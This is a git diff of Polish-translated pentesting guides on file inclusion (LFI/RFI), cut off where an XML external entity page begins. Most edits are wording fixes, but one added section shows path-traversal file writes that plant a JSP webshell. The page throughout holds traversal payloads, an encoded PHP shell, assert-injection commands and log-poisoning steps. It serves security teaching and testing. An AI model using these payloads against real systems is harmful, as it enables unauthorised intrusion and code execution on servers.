diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 7cc3e5000..2ba92941c 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -7,11 +7,11 @@ **Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ **Local File Inclusion (LFI):** Serwer ładuje lokalny plik. -Vulnerabilność występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer. +Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer. Vulnerable **PHP functions**: require, require_once, include, include_once -Interesujące narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Interesujące narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -53,7 +53,7 @@ Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zas ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sekwencje przejścia usunięte nienawrotowo +### sekwencje przejścia usunięte nienawrotnie ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -84,9 +84,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Badanie katalogów systemu plików na serwerze -System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć: +System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć: -1. **Określenie głębokości katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość trzy: +1. **Ustal głębokość katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując głębokość równą trzem: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` @@ -97,15 +97,15 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= 3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: - **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. - **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona. -4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). +4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` -### **Technika Truncacji Ścieżki** +### **Technika skracania ścieżek** -Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik. +Skracanie ścieżek to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez omijanie pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik. W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład: @@ -113,7 +113,7 @@ W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne - Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku. - Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp. -Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników): +Podane przykłady pokazują, jak wykorzystać skracanie ścieżek do uzyskania dostępu do `/etc/passwd`, powszechnego celu z powodu jego wrażliwych treści (informacje o kontach użytkowników): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera. -- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer. +- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji w systemie plików, skutecznie ignorując dołączone ciągi przez serwer. - **Określenie wymaganej liczby przejść**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../`, które są potrzebne do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (jak `.php`) są neutralizowane, ale pożądana ścieżka (`/etc/passwd`) pozostaje nienaruszona. - **Zaczynanie od fałszywego katalogu**: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak `a/`). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera. @@ -152,8 +152,8 @@ Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP * ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` -> [!NOTE] -> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany). +> [!TIP] +> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował ciągu, który kończył się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym wykonany). Inny przykład **nie używający protokołu `php://`** to: ``` @@ -171,13 +171,13 @@ Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **pop os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -To jest zamierzone zachowanie zgodnie z [dokumentacją](https://docs.python.org/3.10/library/os.path.html#os.path.join): +To jest zamierzona funkcjonalność zgodnie z [dokumentacją](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuowane jest od komponentu ścieżki bezwzględnej. +> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuuje od komponentu ścieżki bezwzględnej. ## Java Lista Katalogów -Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo). +Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie zdarzy się w innych językach (o ile mi wiadomo). ## 25 najważniejszych parametrów @@ -229,7 +229,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od - `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l` > [!WARNING] -> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md). +> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md). - [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji) @@ -238,7 +238,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od - `mcrypt.*` : Przestarzałe - `mdecrypt.*` : Przestarzałe - Inne filtry -- Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: +- Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` - `dechunk`: odwraca kodowanie HTTP chunked - `convert.*` @@ -271,23 +271,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > Część "php://filter" jest nieczuła na wielkość liter -### Używanie filtrów php jako orakula do odczytu dowolnych plików +### Używanie filtrów php jako oracle do odczytu dowolnych plików -[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boolean exfiltration pliku (znak po znaku) przy użyciu filtrów php** jako orakula. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek. +[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boolean exfiltration pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosiło wyjątek. W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie: - Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo. -- To będzie używane do generowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**. +- To będzie użyte do wygenerowania **tekstu tak dużego, że gdy początkowa litera jest odgadnięta poprawnie**, php wywoła **błąd**. - Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy. -- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby przestała być znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. +- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. - Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą. - Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego). -- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba. -- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w porządku, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu. -- A aby móc uzyskać **dalsze dane**, pomysł polega na **generowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku. +- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekować liczbę. +- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu. +- A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku. -W poście wyciekło również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +W poście wycieknięto również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd @@ -360,7 +360,7 @@ Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być pot W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`. -Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podlinkowanym poniżej: +Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -370,7 +370,7 @@ phar-deserialization.md ### CVE-2024-2961 -Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Można było nadużyć **dowolnego odczytu pliku z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Bardzo szybkie podsumowanie: nadużyto **przepełnienia 3 bajtów** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\ Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP. @@ -383,9 +383,9 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w - [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików) ## LFI za pomocą 'assert' PHP @@ -395,7 +395,7 @@ Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeni ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Chociaż ma to na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć: +Chociaż ma to na celu zatrzymanie przejścia, nieumyślnie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -403,39 +403,85 @@ Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć: ```plaintext ' and die(system("id")) or ' ``` -To ważne, aby **zakodować te ładunki URL**. +To ważne, aby **zakodować URL te ładunki**. ## PHP Blind Path Traversal > [!WARNING] > Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **uzyskuje dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana. -W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą błędnego orakula**. +W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą orakula błędów**. -Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**. +Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik wywoła **błąd**. -Następnie, aby wyciekł pierwszy znak, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane do **umieszczania innych znaków na początku i ich wycieku**. +Następnie, aby wyciekł pierwszy znak, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu używane są filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i je wyciekować**. **Funkcje, które mogą być podatne**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tylko cel odczytu z tym)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Szczegóły techniczne znajdziesz w wspomnianym poście! +Aby uzyskać szczegóły techniczne, sprawdź wspomniany post! ## LFI2RCE -### Zdalne włączenie pliku +### Dowolne zapisywanie plików za pomocą przejścia przez ścieżkę (Webshell RCE) -Wyjaśnione wcześniej, [**śledź ten link**](#remote-file-inclusion). +Gdy kod po stronie serwera, który przyjmuje/ładowa pliki, buduje ścieżkę docelową przy użyciu danych kontrolowanych przez użytkownika (np. nazwa pliku lub URL) bez kanonizacji i walidacji, segmenty `..` i ścieżki absolutne mogą wydostać się z zamierzonego katalogu i spowodować dowolne zapisywanie plików. Jeśli możesz umieścić ładunek w katalogu dostępnym w sieci, zazwyczaj uzyskujesz nieautoryzowany RCE, umieszczając webshell. + +Typowy proces eksploatacji: +- Zidentyfikuj prymityw zapisu w punkcie końcowym lub w tle, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. przetwarzanie oparte na wiadomościach, obsługa poleceń XML/JSON, ekstraktory ZIP itp.). +- Określ katalogi dostępne w sieci. Typowe przykłady: +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → umieść `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → umieść `shell.aspx` +- Stwórz ścieżkę przejścia, która wydostaje się z zamierzonego katalogu przechowywania do katalogu głównego, i dołącz zawartość swojego webshella. +- Przeglądaj do umieszczonego ładunku i wykonuj polecenia. + +Uwagi: +- Usługa podatna na atak, która wykonuje zapis, może nasłuchiwać na porcie nie-HTTP (np. nasłuchiwacz JMF XML na TCP 4004). Główny portal internetowy (inny port) później obsłuży twój ładunek. +- W stosach Java te zapisy plików są często implementowane za pomocą prostej konkatenacji `File`/`Paths`. Brak kanonizacji/listy dozwolonych jest podstawową wadą. + +Ogólny przykład w stylu XML/JMF (schematy produktów różnią się – DOCTYPE/opakowanie ciała jest nieistotne dla przejścia): +```xml + + + + +../../../webapps/ROOT/shell.jsp + + +<% +String c = request.getParameter("cmd"); +if (c != null) { +Process p = Runtime.getRuntime().exec(c); +try (var in = p.getInputStream(); var out = response.getOutputStream()) { +in.transferTo(out); +} +} +%> +]]> + + + +``` +Hardening, które pokonuje tę klasę błędów: +- Rozwiąż do kanonicznej ścieżki i wymuś, aby była potomkiem dozwolonego katalogu bazowego. +- Odrzuć wszelkie ścieżki zawierające `..`, absolutne korzenie lub litery dysków; preferuj generowane nazwy plików. +- Uruchom pisarza jako konto o niskich uprawnieniach i oddziel katalogi zapisu od serwowanych korzeni. + +## Zdalne włączenie pliku + +Wyjaśnione wcześniej, [**follow this link**](#remote-file-inclusion). ### Poprzez plik dziennika Apache/Nginx -Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **``** i dołączyć ten plik. +Jeśli serwer Apache lub Nginx jest **vulnerable to LFI** wewnątrz funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **GET parameter** powłokę php, taką jak **``** i dołączyć ten plik. > [!WARNING] -> Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**. +> Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **prosty cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**. > > Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy. -Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\ +Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany w URL, co może zniszczyć powłokę. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\ Inne możliwe ścieżki dzienników: ```python /var/log/apache2/access.log @@ -457,7 +503,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Via /proc/\*/fd/\* 1. Prześlij dużo powłok (na przykład: 100) -2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (można to wymusić) i $FD to deskryptor pliku (można to również wymusić) +2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (można wymusić brute force) i $FD to deskryptor pliku (można również wymusić brute force) ### Via /proc/self/environ @@ -472,7 +518,7 @@ Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf +Aby zachować czytelność pliku, najlepiej jest wstrzyknąć do metadanych obrazów/doc/pdf ### Poprzez przesyłanie pliku Zip @@ -496,7 +542,7 @@ Ustaw cookie na `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Użyj LFI, aby dołączyć plik sesji PHP. +Użyj LFI, aby dołączyć plik sesji PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -506,9 +552,9 @@ Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/ ### **Via** **vsftpd** _**logs**_ -Logi dla serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: +Logi dla serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje luka w Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: -1. Wstrzyknij ładunek PHP do pola nazwy użytkownika podczas procesu logowania. +1. Wstrzyknij ładunek PHP w pole nazwy użytkownika podczas procesu logowania. 2. Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) @@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla ciebie**. Możesz to wykorzystać, aby uzyskać RCE: +Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać do uzyskania RCE: {{#ref}} via-php_session_upload_progress.md @@ -592,7 +638,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz wtedy **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy: +Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz następnie **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy: {{#ref}} lfi2rce-via-eternal-waiting.md @@ -611,6 +657,8 @@ _Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe PHP - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 8b0d01807..f4391c730 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -10,13 +10,13 @@ XML to język znaczników zaprojektowany do przechowywania i transportu danych, - **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne. - **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania 